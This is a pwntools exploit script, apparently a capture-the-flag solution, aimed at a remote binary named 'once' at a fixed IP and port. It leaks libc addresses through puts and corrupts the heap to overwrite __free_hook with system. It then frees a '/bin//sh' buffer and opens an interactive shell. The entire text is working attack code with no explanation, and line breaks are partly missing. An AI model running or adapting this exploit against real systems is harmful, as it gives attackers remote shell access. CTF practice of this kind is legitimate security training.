```from pwn import *context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']
#p = process('./once')p = remote("47.75.189.102", 9999)b = ELF('./once')l = ELF('libc-2.23.so')
"""gdb.attach(p, '''boff 0xf88tracemalloc on''')"""
def create():    p.send("1\x00")    return p.recvuntil("> ")
#puts addrp.recvuntil("> ")p.sendline("10")puts = p.recvuntil("> ").split('\n')[1].replace('> ', '')puts = int(puts, 0)log.info("puts @: " + hex(puts))libcbase = puts - l.symbols['puts']free_hook = libcbase + l.symbols['__free_hook']log.info("__free_hook @: " + hex(free_hook))system = libcbase + l.symbols['system']binsh = libcbase + 0x18cd57log.info("system @: " + hex(system))stdout = libcbase + l.symbols['_IO_2_1_stdout_']stdin = libcbase + l.symbols['_IO_2_1_stdin_']
p.sendline("4")p.recvuntil("> ")p.sendline("1")p.recvuntil("input size:\n")p.sendline("232")p.recvuntil("> ")p.sendline("4")p.recvuntil("> ")
create()
p.send("2" + "\x00"*7)p.send(p64(0)*3 + "\x58")p.recvuntil("> ")
p.sendline("3" + "\x00"*3)p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.sendline("2")p.send("/bin//sh" + p64(0)*2 + p64(free_hook) + p64(stdout) + p64(0) + p64(stdin) + p64(0)*2)p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.send("2" + "\x00"*7)p.sendline(p64(system))p.recvuntil("> ")
p.sendline("4")p.recvuntil("> ")p.sendline("3")
p.interactive()
```